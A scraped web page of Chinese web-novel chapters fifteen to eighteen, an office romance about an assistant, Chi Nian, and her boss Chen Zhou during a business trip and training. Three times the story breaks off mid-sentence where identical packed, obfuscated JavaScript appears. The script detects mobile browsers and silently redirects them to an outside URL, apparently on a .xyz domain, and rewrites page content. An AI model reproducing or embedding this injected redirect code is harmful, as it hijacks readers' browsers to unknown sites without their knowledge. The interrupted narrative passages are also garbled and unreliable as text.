两待个男人走进去,迟念收回视线,像个专业的司机一样坐进车里,闭目,静等。 15. 第十五章 迟念这一闭眼不要紧,直接昏睡过去了。 因为太累,本来下午这几个小时应该在酒店好好休息的,洗完车之后,她自掏腰包把油加满,紧急突击车技。 在方圆十公里内转了好几圈,现在对这里的熟悉程度不输本地人。 她的额头抵着车窗,人在广安出差,心却回到林江分公司,黑白色的梦境里,她发陈经理照片假装恋人的事被捅破。 欢姐和娇娇一左一右,一个要保温杯,一个要音乐节门票,都是咄咄逼人的嘴脸,她猛地睁眼。 用了十几秒的时间从梦境里抽离,现实的记忆纷至沓来,出差,助理,酒会…她打着呵欠,看了眼时间。 九点了。 落下车窗,抬头看灯火通明的二楼宴会厅,也不晓得这种酒会几点结束。 肩酸,腿痛,窝着睡觉的结果是浑身都难受。迟念下车,活动了一会儿筋骨,踱着步,往酒店门口走。 实在不行,问一下? 旋转门内站着两个穿紫色制服的男迎宾,迟念纠结了一会儿,鼓起勇气过去,有礼貌地问:“请问,二楼的酒会几点结束?” 迎宾站得笔直,她问完之后才垂眼,打量之后,态度冷淡,“不能泄露客人隐私,你有邀请函吗?” 迟念疑惑,“问一下几点结束也算隐私?” 迎宾没有回答,眼白微微上翻,明显懒得和她废话。 迟念察觉到迎宾释放出来的看不起,一冲动,把邀请函怼到他脸上,“现在我有资格知道了吧?” * 今晚的商业酒会偏娱乐性质,陈昼刚进去手里就塞进一杯酒,孟叔笑着说:“你爸没来,放心喝。” 他是不想喝的,奈何在场的熟人多。 时隔两年,再次出现在公共视野,免不了寒暄一番。 几杯香槟下肚,耳根有些烧。 陈昼把空杯递给侍应,顺便把西装外套脱下,里面穿着衬衫,他扯松领带,又把袖口的扣子解开。 孟叔站在旁边,仔细打量他。 时间过得真快,这小子一晃长成男人了,他跳出长辈身份,以男性视角审视,在很苛刻的前提下,也觉得陈昼很优秀。 不提家世,学历,能力,单论这外表,就比同龄那一帮出色一大截。 他端起酒杯,送到陈昼手里,略带怪罪地说:“妍妍在家总说起你,你回国那天她约你,结果你说没时间,害得她回家好一顿哭。” 陈昼面色赧然地接过酒杯,“那天事情很多,我下了飞机就去开会,没能见面,已经和她道过歉了。” 孟叔“哼”了一声,似是对这种看似无懈可击的理由很不满意。 他笑意虽在,语气却很严肃,“她从小就跟在你屁股后,也算是青梅竹马了,她的心意我知道,你是怎么想的呢?” 陈昼后悔参加酒会了。 虽然亲爸没来,但是这位比亲爸更难缠,他不想在这样的场合谈私事,深吸一口气,准备含混过去。 “我一直把妍妍当妹妹。” “妹妹好啊。”孟叔明知他的意思,却故作不懂,自己就这一个宝贝孙女,别说一个男人了,就管他要天上的星星,他也会去摘。 “你还年轻,说这种话太早,我们老一辈的讲究日久生情,感情这东西啊,都是处出来的,你得试试啊。” “欸,对对对,得试。”距离最近的张叔听到他们的对话,端着酒杯走过来,自然地站在孟叔那边,“思妍这孩子多好,和你站在一块,哎?那句话怎么说来着?” 两位长辈视线对上,心有灵犀一般,异口同声:“天作之合!” 陈昼头有些痛,抽身离开已经来不及,只能含笑敷衍。 人越聚越多,在孟叔有意引导之下,话题一直围绕在他的私人感情上,陈昼被困束在这里,辩解无用,只能喝酒。 头晕,脚飘,心里是清醒的,面上却醉态尽显。 孟叔见他这样,忙推开众人,把他带进休息室,安顿好后,拿出手机打电话。 “小孙,你在门口吧,看看陈昼带没带司机来,带了的话你从后门进,他喝多了,正好思妍在家,你把他送过去。” 陈昼靠在椅子上,不常喝酒,身体抵不住爆炸的后劲,他浑身无力,双眼紧闭,意识却是清醒的。 自然也听到孟叔打电话。 他嘴唇翕动,“叔,孟叔,不用麻烦。” 孟叔哪顾得上他说什么,现在只等着司机进来接人,也不管他愿不愿意了,反正今晚的任务完成,也能在孙女那边交差了。 同一时间,迟念已经在宴会厅找了一圈。 她穿着衬衫西裤,不敢靠近这些有身份的大佬们,结果被误认成侍应生,被召唤过去接了两次空杯。 她闹心的拿着空酒杯,猜测陈经理一定提前离场了,离开时自己刚好在车里睡觉,就这么错过了。 一下午的辛苦全是白忙,她像一只泄了气的皮球,准备开车回酒店。 快走到门口,就被一身西装的男人拦住。他又高又壮,黑塔似的镇守宴会厅入口,迟念缩了缩脖子,小心地看了眼他的胸牌。 原来是宴会厅经理。 她不解,“什么事?” 经理臭着一张脸,看了看她手里的空杯,张口就骂:“开会说过多少次了,员工走后门,没长脑子是不是,再被我逮到一次就罚款。” 迟念莫名其妙,“说什么呢,我是递邀请函进来的贵宾,不是员工。” 经理扯了扯嘴角,“邀请函呢,我看看。” “…被迎宾收走了啊。” “没有就是没有,别找借口。”经理挽起袖口,露出青筋蜿蜒鼓起的小臂肌肉,气势不善地威压,“我已经盯你好一会儿了,昨天丢的杯子也是偷的吧?” 偷? 迟念火大,“我不是员工,而且刚进来,你这是什么态度,我要投诉你!” 经理听到投诉也不在意,慢条斯理地把另一只袖子也挽起来,架起肩膀,像个即将变身的绿巨人,“好,那这位尊贵的顾客你…为什么拿着店里的酒杯,想要是吧,你知道这一个杯子多少钱吗?” 迟念低头,看手里拿着的两个高酒杯,除了玻璃透着浅浅的绿色外,看不出和几块钱一个的有什么区别。 她把杯子还给经理,没好气地说:“我管它多少钱,因为有急事要走,忘记放在桌子上了而已。” 说完,仰着头,做出一副底气很足的样子,“现在我可以走了吧?” 经理仔细地检查杯子,确定没有划痕和破损之后,冷冷地说:“可以走,但是员工只能走后门。” “都说了我不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612263|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员工!” “但你穿的是员工服,今晚酒会要求穿西装和晚礼,就算你是客人,也不能从这个门走,劳驾~”经理单臂一伸,指着宴会厅后面的小门。 真是岂有此理! 迟念气得心脏怦怦跳,世界上怎么会有这种奇葩的场所,怎么会有这么狗眼看人低的服务人员。 “我要投诉你!” 经理姿势不变,“那也得从后门出去,想投诉的话再从正门进来,然后左转,那边有个办公室,我姓于投诉的时候别弄错了。” 迟念一肚子火,奈何身单力薄。经理像一堵城墙,她强闯不过去,只能咬牙切齿地放狠话:“就等着挨投诉吧你。” 后门沉重,她用力推开,前面是两条路。 墙上有指示牌,左边通往酒店后厨,右边通往停车场。她把车停在正门路对面了,从后门走的话要绕好远。 她大步朝右走,到拐角处时,听到身后的门响了。 本以为是员工,却隐约听到含混不清的男声:“不…我回…回酒店。” 她倏地停住,耳朵支起来,这声儿怎么有些熟悉啊…她急忙藏在消防栓旁边,借着应急灯不甚亮的光,看向声音来源。 两个男人,走路踉踉跄跄的。 一个喝醉了,另一个架着肩膀扶着,喝醉的那个低着头,脚步不稳,却能看出在努力推开旁边的人。 旁边的人虽被推,却越挫越勇。 距离越来越近,喝醉的男人烦躁地直起身,迟念瞪大眼睛,“嗖”地一下窜过去,挤走旁边的男人。 陈昼眼底通红,脸颊处也泛起不正常的红晕,身体摇摇晃晃,时不时哼哼几声,看样子不太清醒。 迟念在他眼前挥了挥手,急声喊:“陈经理,你怎么了?是不是在里面被人下药了?” 孟家的司机呛了一下,拍了拍迟念的肩膀,“不好意思,请让一下,我是他司机,准备送他回家。” 司机?! 陈昼意识不清,身体慢慢栽下去,迟念把他胳膊架在自己肩膀上,用尽全身力气顶着下坠的重量。 她一脸戒备,“你是司机,那我是什么?你说送他回家,可他家根本不在这,我们是来出差的,住的是酒店。” 司机知晓前因后果,听她这么说,以为是小陈总的司机找上来了,自然心虚。 好在…这就是个小丫头片子。 他上赶着帮忙扶着陈昼,“是我家老总吩咐的,他和小陈总熟识,以为他没带司机来,所以派我送他回去。” 迟念眉头紧皱,躲开他的手。想着自己油钱花了,车也练了,大半夜的辛苦在这等,这个功劳可不能被抢。 她用力把陈昼提起来,“现在司机来了,你走吧,我自己可以。” 司机上下打量,明摆着不信,“他一米八多的大男人,全压在你身上,就你这小身板,都出不去这通道。” 迟念本就有火,眼下被激,迅速把陈经理的两只胳膊都缠在自己的脖子上,腿微弯,咬牙提气,直接把人背起来。 司机目瞪口呆。 迟念愤愤地说:“那你就看我怎么走出去的。” 十分钟后。 司机慌慌张张跑回休息区,看到老总,怕他怪罪,先一步解释:“孟总,那个…小陈总这次出差带了保镖,我没抢过。” 16. 第十六章 在迟念的人生里,很少有这样濒临死亡的时刻。 就算小时候被同学嘲笑,悲愤之下一口气跑到山顶,也只是感觉喘不过气而已,不像现在,每个细胞都像要爆炸。 这一路简直是酷刑,把陈昼塞进副驾驶之后,她眼前冒星,脚像烂泥,手抖到关不上车门,用了五分钟才缓过来。 她脸色苍白地爬上车。副驾驶位,男人靠着椅背,头歪到车窗方向,刚才还能说话呢,现在彻底失去意识了。 迟念凑过去,手伸到他头旁边拉安全带,小心翼翼地抽出来,压在他的衬衫上,然后插进卡扣里。 很好,没醒。 回程平稳,二十分钟后到达酒店。她先下车,找了昨晚那个行李员,和他一起,把陈昼扶到床上。 他穿着衬衫西裤,脚上是看起来很贵的皮鞋,因为喝醉,脖子也泛着红,他难受地扯了扯领口,扣子啪地拽掉一颗。 迟念目睹全程,整个人定在原地。 男人领口大开,胸肌在白色的布料下若隐若现,她傻傻地盯着看,脑子里突然闪现那张半裸酒店照。 她骇然,心虚地转过头去,非礼勿视! 可是就这样离开也不行啊,上司喝醉了,这一路的艰难困苦都熬下来了,最后的步骤不能丢。 她走到床尾,轻轻抓住皮鞋,用力。 鞋脱离的一刻,男人忽然直起身,明明是醉酒的状态,眼神却格外清冷,像平时一样审视地看着她。 迟念吓了一跳,无措地把鞋放好,搓了搓手,不确定他现在是什么状况。 “陈经理,你感觉怎么样?喝水吗,还是我去买点醒酒汤之类的东西?” 陈昼眼底泛红,幽幽地看着她,“你想干什么?” “啊?我就是…”迟念挠了挠后颈,“问你想不想喝点东西。” “不喝,你出去。” “好嘞。”迟念乐不得呢。 几乎是小跑着离开,手在触到门把时,忽然想到什么,慌忙折返回去。 男人不知什么时候躺下了,又变成神志不清的状态。 迟念走过去,想到他刚才的眼神,应该没有很醉吧,应该还有一点理智吧,应该不会断片到明天什么都不记得吧… 她蹲下,嘴唇远远地对着他的耳朵。 “陈经理,我开车技术不太好,所以下午特地练了几个小时,也安全地把你从酒会接了出来。我想说…明天早上去总部,车还是由我来开,钥匙我拿走了,九点钟准时叫醒你。” 迟念一鼓作气说完,拿起床头的车钥匙,转身离开。 她脚步很轻,直到关门的声音传进来,陈昼才缓缓睁开眼。 他酒量很差,但也不至于被香槟撂倒,装醉只是想摆脱长辈们对私生活的过分关心,只是没预料到孟叔的操作。 就算迟念没有赶来,他也会想办法脱身,和被孟叔怪罪相比,醉酒后去年轻女孩家里更加可怕。 这样的话,迟念也在他预料之外。 身在职场这么多年,他自认看人的眼光很准。一个员工,近距离接触十分钟,他就能大致了解是个什么样的人。 而迟念,几乎每次都推翻结论。 初见,虽紧张,却是部门里第一个在他发火状态下敢进办公室的,顶着一张我是来献殷勤的炮灰脸。 二见,食堂,主动制造的近距离,故意在人多的地方套近乎。 三见,送重做的方案,智商掉线,听不懂人话,举手投足间流露出关系户的盲目自信。 通过这几次的接触,陈昼基本确定她的意图。很明显,从小镇走出来的女孩,涉世未深,对世界抱有虚浮的幻想。 有点心机,但全摆在脸上,不过也不算笨,在察觉到他有开除的想法时,紧急撤退,后续的十几天,一次错没犯。 在他以为自己误解时,她又主动申请出差的机会,和他异地独处。 在他认为她居心不正时,她强硬抗拒孟家司机,把他从酒店后门背到车里,安全地送回酒店。 难道先前那些都是误判? 陈昼开始怀疑自己。 * 迟念回到自己房间。 因为刚才的高强度负重,她肌肉酸痛,稍微一动都难受,如果不管的话,明天大概率不能走路。 她下楼找前台,前台听了她的诉求,去楼上健身房帮她借了个泡沫轴。 回到房间,直接躺在地板上放松肌肉,随手点开手机,给珍珠姐打电话。 “珍珠姐,手术顺利吗?你很累吧。” 对面“嗯?”了一声,似是没听懂,“谁手术了?” “小猫啊,你家汤圆。” “哦哦哦哦,对,汤圆今天上午做手术了,非常顺利,这都要感谢你。” 泡沫轴换到腰下,迟念疼得龇牙咧嘴,缓了一口气才说:“哎呀,谢什么,这是应该的,你对我也很好啊。” 铺垫差不多结束,迟念开始说正题。 “那个…珍珠姐,这次出差的住和行,你全都提前订好了吗?” “对呀~”听筒里传出狡黠的笑意,“怎么样,满意吗?” “满意啊,呵呵,满意。” 迟念附和着,不想明晚换酒店的时候一开门是不可描述的情趣房,小心地提议,“珍珠姐,这次出差行程很紧,我觉得还是定标准的商务套间吧。” “怎么,没时间亲密交流?” “呃…算是吧。” “不会吧,年纪轻轻的,这点体力都没有?” 迟念疲惫地把手机拉远,“求你了珍珠姐。” 对面传来一阵银铃般的笑声,笑够了,才安慰:“就只有今晚了,明天开完会,小陈总就带你回家住,如果你们还没见过家长,正好趁这个机会见一下,不用谢我哦。” 迟念如遭雷击,“回家?” “对啊,总部在广安,小陈总的家自然也在,正式的工作只有两天,剩下的几天小陈总自己安排。” 迟念赶紧从挎包里翻出助理手册,“后面几天的名都水榭是他家?” 叶珍珠像发现了新大陆,兴奋地说:“哎呀哎呀,被我发现了哦,你们还没见过家长。” “……” 电话挂断,迟念整个人躺在泡沫轴上,酸痛爆炸,她面不改色。 意思就是明天的会议结束,陈经理回自己家,她这个助理当然不能跟去,那岂不是…可以自由行? 啊! 大学毕业以后,只顾着生存了,还没有旅行过,不如趁这个机会… 她激动地点开手机,搜索广安的特色小吃和景点,粗略地安排了一下行程,标记几个想打卡的景点和美食,然后心满意足地睡去。 第二天九点,迟念准时站在商务套房门口。 在她纠结要不要敲门时,陈昼把门打开,他神清气爽,脸上看不出宿醉的疲惫,穿着衬衫西裤,从里到外透着成熟的干练。 迟念道了一声早上好,视线落在衬衫领口,故意在扣子处停留一瞬。 咦?不是崩掉了吗,现在竟然是完好的。 今天高温,陈昼挽起袖口,淡淡地说:“车钥匙在你那?” 迟念点头,昨晚那么长的一段话果然白说了。 她打起精神,像专业的助理那样报告行程,“上午去总部开会,我直接退房,会议结束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14637004|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后我送您回名都水榭,后续几天我24小时待命,有需要的话,可以随时找我。” 陈昼轻挑眉尾,“谁安排的?” “嗯?”迟念被问得一愣,“我接收到的日程是这样的,您是有别的计划吗?” 他想了想,“暂时没有。” “好的。” 陈昼抬眼看她,虽说怀疑自己看人的能力,但很明显,面前的女孩虽然是专业的工作状态,可从眼神能够看出,魂早就飞走了。 兴奋,期待,她掩饰不了一点。 甚至在开往总部的路上,忍不住轻声哼起歌,他坐在副驾驶,推了下眼镜,用余光打量她。 先前的结论果然是错的,迟念明显不是他臆想的那种复杂心理的人,她只是年轻,单纯,没长脑。 所以才能在领导没有下达指令时,提前开香槟。 她高兴得太早。 这次开会,迟念没有像昨天那样傻等,而是到各个部门转了一圈,随机挑了几张有亲和力的脸套近乎。 聊的都是和工作无关的吃喝玩乐。 她用备忘录记下: [正东老街燃面,酱肘,冒菜,隔壁糖水铺。] [西开区影视主题公园,拍照打卡。] [沙湾看海。] …… 竟然可以看海!迟念闭上眼,想象一望无垠的天蓝色,深吸一口气,微风带着咸丝丝的气味,仿佛此刻就坐在沙滩上。 她就要按捺不住。 二楼会议室,今天的会议内容主要是昨天的补充,不到十二点就宣布结束。 陈昼摘下眼镜,疲惫地捏了捏鼻梁,宿醉的滋味不好受。 董事们陆续离开,最后会议室只剩两个人,他松了松领带,站起身,眉眼平静,“爸,我先走了。” 陈开年站在窗边,外面暖阳和煦,绿意盎然,会议室里却透着丝丝寒意,穿西装也挡不住的冷。 和家里一样。 他手背在身后,听到这句话,冷哼一声。 “走?你想去哪?” 陈昼:“晚上我会回家。” 陈开年转过身,他个子很高,就算年岁渐长身板也依旧挺直,配上一张商海浮沉的严肃脸,光是存在就给人无形的压力。 “难得你知道自己有家。” 若要陈开年总结自己的人生,他会用一帆风顺来形容,二十岁从父辈手里接管生意,一路稳步上升,发展到现在的规模。 或许世间有凡人看不到的天平,若是在事业上功成名就,家庭就注定会缺失。 他只有陈昼这一个儿子,从小到大一直是他的骄傲。 学习时品学兼优,毕业后隐藏身份入职,不到两年就升职到高位,其间没有伸过一根手指,全靠他自己的能力。 就在陈开年准备转让股份支持他大展拳脚时,他却拒绝,并提出去国外深造,出走两年没有音讯。 他很放心,相信儿子有自己的规划,一定会从国外带个女朋友回来,在三十岁之前,事业和家庭都步入正轨。 结果,现实偏航。 女朋友是不存在的,接管公司是不可能的,同龄的朋友几乎都结婚生子迈向人生下个阶段,他就那么看着,一点儿都不急。 甚至一提起这个话题就冷脸,宁可跑到偏远的分公司当苦工,也不愿意回家。 他绷着脸,“老孟说昨晚在紫荆花见到你了,怎么,家对你来说就这么可怕,至于带个保镖吗?” 保镖?陈昼垂眼,没有说话。 陈开年见他这样,心口莫名发堵,摆了摆手,“好了,你也别拖到晚上了,坐我车回去,你祖母想你了。” 17. 第十七章 午后,一则培训通知,把迟念从梦幻的海滩拉回现实。 偌大的会议室里,操着一口做作普通话的讲师站在台上侃侃而谈,从运营模式说到公司前景,一下午就这么没了。 迟念托着下巴坐在靠窗角落,桌上的笔记本画满了诅咒。 被困住之后的天空分外蓝,日暮降临,咸蛋黄似的太阳沉进楼宇之间,陌生,神秘,她却只能隔着透明玻璃,呆呆地向外望。 桌子震动,肘下的本子突然被抽走,她回头,看到许维安抢走了本子,兴致勃勃地看上面的内容。 她伸手抢,“还我!” 许维安提前预判,手臂抬高,语速极快地读上面的字,“陈昼这个王八蛋…我去,你胆子还真大!” 迟念脚踩凳子,一把抢回本子,塞进包里。 她心虚地四处望,“你小点儿声。” 许维安是南阳分公司的主管,据说是销售部的,迟念不感兴趣,因为在她摩拳擦掌准备大玩特玩的时候,是他带来噩耗。 ——你就是小陈总带来的助理吧,这几天总部组织培训,是国外请回来的讲师,小陈总特意交代我带你学习。 这会儿培训结束,从各公司来的人都去食堂吃饭了,培训室冷冷清清,只剩他们两个。 如果没有期待,迟念可能会淡定接受,甚至因为不需要和陈经理相处,快乐地参加,可惜没有如果。 她从云端坠落,什么大海,景点,美食,全都与她无关了。 许维安带她去食堂吃饭。 他很年轻,目测二十四五岁左右,穿着规规矩矩的衬衫西裤,脖子上挂着工牌,随着他走路的动作,总是背面朝上。 “迟念,你是什么职位,总经理助理吗?” “不是。” “那是主管?” “不…” “那是小陈总女朋友?” 迟念无语地看他,“我只是普通员工,你别说话了行不行,烦得慌。” 许维安是话痨,不说话是万万不能的。 女孩疾步在前,他紧赶着跟上,叨叨个不停,“你晓得伐,小陈总是我偶像,我入职时就听说他当年是业绩之王,超牛的哦,以一己之力拉动分公司百分之八十…” 太吵了,迟念捂紧耳朵,奈何聒噪的声音穿透指缝。 “今天也不知道怎么那么巧,上楼时碰到了,我们第一次见面他就把带你去培训这么重要的任务交给我,真的迟念,我这心情简直了。” 似乎光靠嘴说压不住激动,他突然蹦起来,做了个投篮的动作。 迟念嫌弃地躲开,“你别说了,耳朵疼。” 一前一后进食堂,许维安拿了两个餐盘,自然地递给她一个,“不说就不说,说吃什么总可以吧…”他眼神一亮,“我去,竟然有红烧肉!总部就是总部,连伙食都这么硬。” 或许心情这东西也需要以毒攻毒,本来是失落,被他这么一吵,变成烦躁了。 迟念不遗憾没能去海边了,只想这个话痨离她远一点。 她故意坐在食堂角落,许维安阴魂不散,端着堆成小山似的餐盘径直过来,坐下之后,看了一眼她的餐盘,“没盛碗蹄花汤啊,闻着可香了。” 迟念听了一下午的课,脑子内存满格,知识全装进胃里了,现在什么都不想吃。 许维安呲溜呲溜喝汤,他是真的不见外,和女孩在一块也不端着,恨不得把全身的缺点都摆出来。 鲜汤下肚,他一脸享受。 “好吃死了,这边宿舍也好,大城市果然不一样,等我回去之后,一定要像拉磨的驴一样猛猛干,争取两年内升到总部。” 迟念夹了一根青菜放嘴里,干巴巴地嚼着。 许维安没等到回应,抬眼看她,额头叠起几条清晰的纹路。 “你呢,目标是什么?” 迟念垮着肩膀,闷闷地说:“保住工作,不要被开除。” 许维安扑哧一声笑了,明显不信,“拜托,你都能跟小陈总出差了,怎么可能被辞退,升职还差不多。” “不信算了,懒得和你说。” 许维安轻哼一声,看了眼四周,声音放低,“不用操那没用的心,我跟你说啊,小陈总对你可不一般。” “瞎说。” “嘿,不信是吧?” 他放下筷子,胳膊支在餐桌上,这姿势明显是有很长一段话要说,“中午我们不是遇见了吗,他和我想象的那种商业精英不一样,竟然是个细心暖男,再三叮嘱让我照顾你,你还拉了个粉色行李箱对吧?” 迟念心里咯噔,突然有种不好的预感,“你怎么知道?” “我当然知道啊,我还把行李箱从车里拿出来了呢,亲自给你挑选了个朝南的宿舍,接下来的几天,你就安心在这听课吧。” 话音刚落,许维安的小腿就在桌下遭受偷袭,他疼得龇牙咧嘴,边揉边抱怨,“这是小陈总吩咐的,你踢我干吗。” * 城郊,晚饭时间,陈昼坐在椅子上,接连打了三个喷嚏。 孟思妍赶紧放下刀叉,探身过去,一脸关心,“陈昼,你怎么了,是着凉了吗?” 陈昼侧过头轻咳一声,摆手说没事。 他早该预料到,父亲说的“祖母想你了”只是诱饵,偏他每次都上当。回来之后,一定见不到祖母,而是…相亲。 长条桌,陈开山坐在主位,右手边是孟叔和孟思妍,左边是陈昼。 他端起酒杯,似是在抱怨,“哎哟,也是不巧,陈昼妈偏赶今天带老太太去上香了,她们家时经常提起思妍,说这孩子从小就水灵灵的漂亮。” 孟思妍穿着一身白裙,身材姣好,是长辈喜欢的温婉类型。 听到夸奖,也不羞涩,落落大方地说:“我也很久没见阿姨和祖母了,她们回来之后我会来拜访的。” 陈开山笑眯眯地点头,“好,妍妍真的长大了。” 孟叔拿起酒瓶,酒杯一一满上,“我家这还小女孩性子呢,比不上陈昼,从小就优秀,从里到外没有缺点。” 陈开山瞥了旁边一眼,顺着台阶引出今晚的主题,“没有女朋友不算缺点啊?” “当然不算。”孟叔咂了一口酒,脸上布满辛辣扩散的褶皱,身子故意挨向孟思妍,意有所指地说:“女孩遍地都是,是陈昼眼光太高了。” 话音未落,几道视线看向陈昼,这种从小就锻炼出来的条件反射,让他不需要思考就能做出反应。 “没有,孟叔说笑了。” 孟叔眯眼看他,端着一副开明慈爱的长辈模样,“你也考虑人生大事了,这几年我和你爸在生意上合作得很好,想着,要是能好上加好…岂不是更好?” 孟思妍听出话外音,脸颊泛红,埋怨地捏了一把爷爷的胳膊,急声说:“干吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654293|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀,都什么年代了。” 陈开山朗声大笑,冲孟叔眨眨眼,“对对对,都什么年代了,各方面合适,长辈也无条件支持,年轻人自己看着办吧。” 一顿饭,各怀心思。 散席后,陈开山拉着孟叔上楼喝茶,楼下只剩两个年轻人。 孟思妍坐在贵妃椅上,正对着明净的落地窗,窗外草坪翠绿,没开灯,玻璃清晰地倒映室内的模样。 她看到男人从远处走来,手里拿着两瓶气泡水,马上转过去,露出角度完美的侧脸,柔柔地说:“这次回来就不走了吧?” 陈昼递给她一瓶,顺势坐在旁边的沙发上,叠起腿,平静地看着她,“我记得,已经拒绝过你两次了。” * 双人宿舍确实舒服,在另一张床没有人住的情况下,舒服加倍。 迟念躺在床上给何伶打电话。 本以为她会忙,却意外地秒接,熟悉的声音丝滑地钻进耳朵里,“念念~出差爽不爽?” “呵呵…你听我这声音像爽的样子吗。” “像爽过头了。” “…你给我好好说话!” “好啦好啦,你怎么这个时间打电话,有事哦。” “我没什么事,就是想问你这几天怎么样,钱不够的话我马上转给你。” “我够啊,你呢,好不容易出门一趟,不吃?不玩?” 迟念长叹一口气,哀怨道:“根本没有花钱的机会啊,我被关在总部培训了。” 何伶“蛤”了一声,然后控制不住地爆笑,“绝了,我说什么来着,再帅的男人当了上司也会立刻变狗。” 迟念磨牙,“是,听说培训三天,之后还要体能训练两天,你说我一普通员工,夹在一堆主管经理里参加升职培训干吗啊。” “主管经理?哇念念,你可能也要升!?” “升个屁,是陈经理见不得我好,故意折磨我。” 迟念越说越气,“我真是不懂,出发前就做足了准备,到这边全方位配合,他喝大了我都能把他从酒店里扛出来,结果这样对我。” 何伶远在林江,远水救不了近火,“费力不讨好,不过也没别的办法,熬几天就结束了,想想开心的事儿。” 哪有开心的事啊…迟念翻了个身,刚好看到床头柜上放着的奶茶,微微愣怔。 这是许维安买的,在食堂吃完饭之后,他打着嗝问她想不想喝东西。 她以为他想喝才这么问,还嘲笑他吃了那么多东西胃里竟然还有地方放液体,是不是猪精转世。 他以沉默应对,到底买了一杯,却转手塞进她怀里。 “你晚上吃太少啦,内点儿鸟食都不够走到宿舍的,这奶茶放在床头柜上,晚上饿了喝。还有哦,早上食堂不开,我会买小笼包回来放到你门口,大概八点,记得起来吃。” 那一刻,迟念想到爸爸,他也是碎嘴的性格,多鸡毛蒜皮的小事都叨叨几句,对她更是,天冷加衣天热别着凉,念经一样天天发。 本来很烦这种,可在陌生的城市,处于情绪低谷,一个刚认识的人竟给她这种熟悉的安全感… 她道了谢,奶茶的温度像一股电流,顺着掌心嗖地穿进身体里。 怨气莫名其妙消失了,迟念夹着手机起身,把吸管拿出来,精准扎到中心点,吸了一大口,好甜~ “伶子,我想到开心的事了!” 18. 第十八章 第二天,迟念不到七点就醒了。 洗漱完,坐在床边,一双眼睛直勾勾地盯着门下的缝隙。 八点还没到,脚步声如期而至。阴影覆盖光亮的一瞬,她小跑过去,门开一条缝,刚好和许维安对上。 他拿着小笼包,维持往门上挂的姿势,见迟念突然探出头,惊魂未定地说:“真是的,吓我一跳。” 迟念毫无愧疚地笑了笑,把门打开,邀请他进来,“我们一起吃吧。” 许维安有些意外,谨慎地往里面看,迟念赶紧往旁边挪了一下,全方位展示室内布置,“里面有桌子。” “不是…”他把自己卡在门口,挠着后颈说:“女宿舍哎,我进去怕是不太好,被看到的话,会影响升职吧。” 迟念恍然,“哦,也对哦!”她转回床边拿挎包,指了指外面的花坛边,“我们去那里吃,正好吃完一起去培训室。” 三天的时间一晃而过。 还别说,有这么个话痨在身边,枯燥的培训也不觉得无聊,迟念甚至有种回到学生时代的错觉。 嘶嘶~ 暗号响起,她的桌上凭空出现一张纸。 小心地看了一眼吐沫横飞的培训老师,面不改色地拿起,在桌下展开,浅蓝色的横格纸,字还故意写成可爱的卡通体。 ——迟念,培训结束之后想不想去小吃街?我请客哦~ 简短的一行字,后面还画了个猪脸表情,和在食堂干饭的许维安有点像。 她抿唇,压住笑意,写下回复。 ——好啊。 纸条送出去,一颗心奇怪地躁动,等回信的时间变得无比漫长。 ——OK,那今天中午就不吃食堂了,行吧?空腹一整天,等晚上咱俩化身饿狼直奔夜市,吃他个昏天黑地。 迟念合上纸条,转头看了看旁边的许维安,小声说:“不至于吧?” 他目不斜视,摆出一副认真听课的样子,用腹语回复:“至于,胃容量很宝贵,不能被食堂的饭给占了。” 迟念无声吐槽:“当初也不知是谁说食堂伙食硬的。” 许维安“啧”了一声,“一码归一码,健康的东西再硬,也赶不上野食儿勾人啊,反正我中午不吃,你随意。” 迟念愣怔,她很久没有为了一顿饭提前空肚子了,感觉那是小孩子才做的事,看到许维安这样… 她真的回到高中时代了。 那时零花钱很少,好在县城的物价很低,学校门口开了各种各样的美食,冬天一到,自助火锅就变成她和何伶的第一选择。 打算吃的前一晚就约好,第二天早上都不吃早饭,上午四节课,饿得前胸贴后背,看老师都像个行走的牛肉卷。 午休铃一响,第一个跑出去,毫无形象地狂奔,冲进火锅店里的黄金位置,喊老板上两个麻辣锅。 当时还觉得苦来着,写不完的作业,起不完的早,想去商场逛一会儿的时间都挤不出来,怨气冲天的。 现在回忆,竟然挺怀念。 她扯下一张纸,认真写下——好,我也不吃。 * 陈昼在家呆了三天,祖母一直没有回来。 楼下,佣人在做晚餐,菜品和前两天不相上下,看来今晚又是游说大会,他脸上闪过一丝不耐。 那晚,孟思妍在听到明确的拒绝后,像什么都没发生似的,三天来了四次。 香烟燃尽,枯白的烟灰顺着裤脚滑落,他把烟头拧进烟灰缸,拿起外套,大步走下楼。 陈开山叉着腰站在厨房门口,严苛地监工,精神太过投入,没听到急促的脚步声。 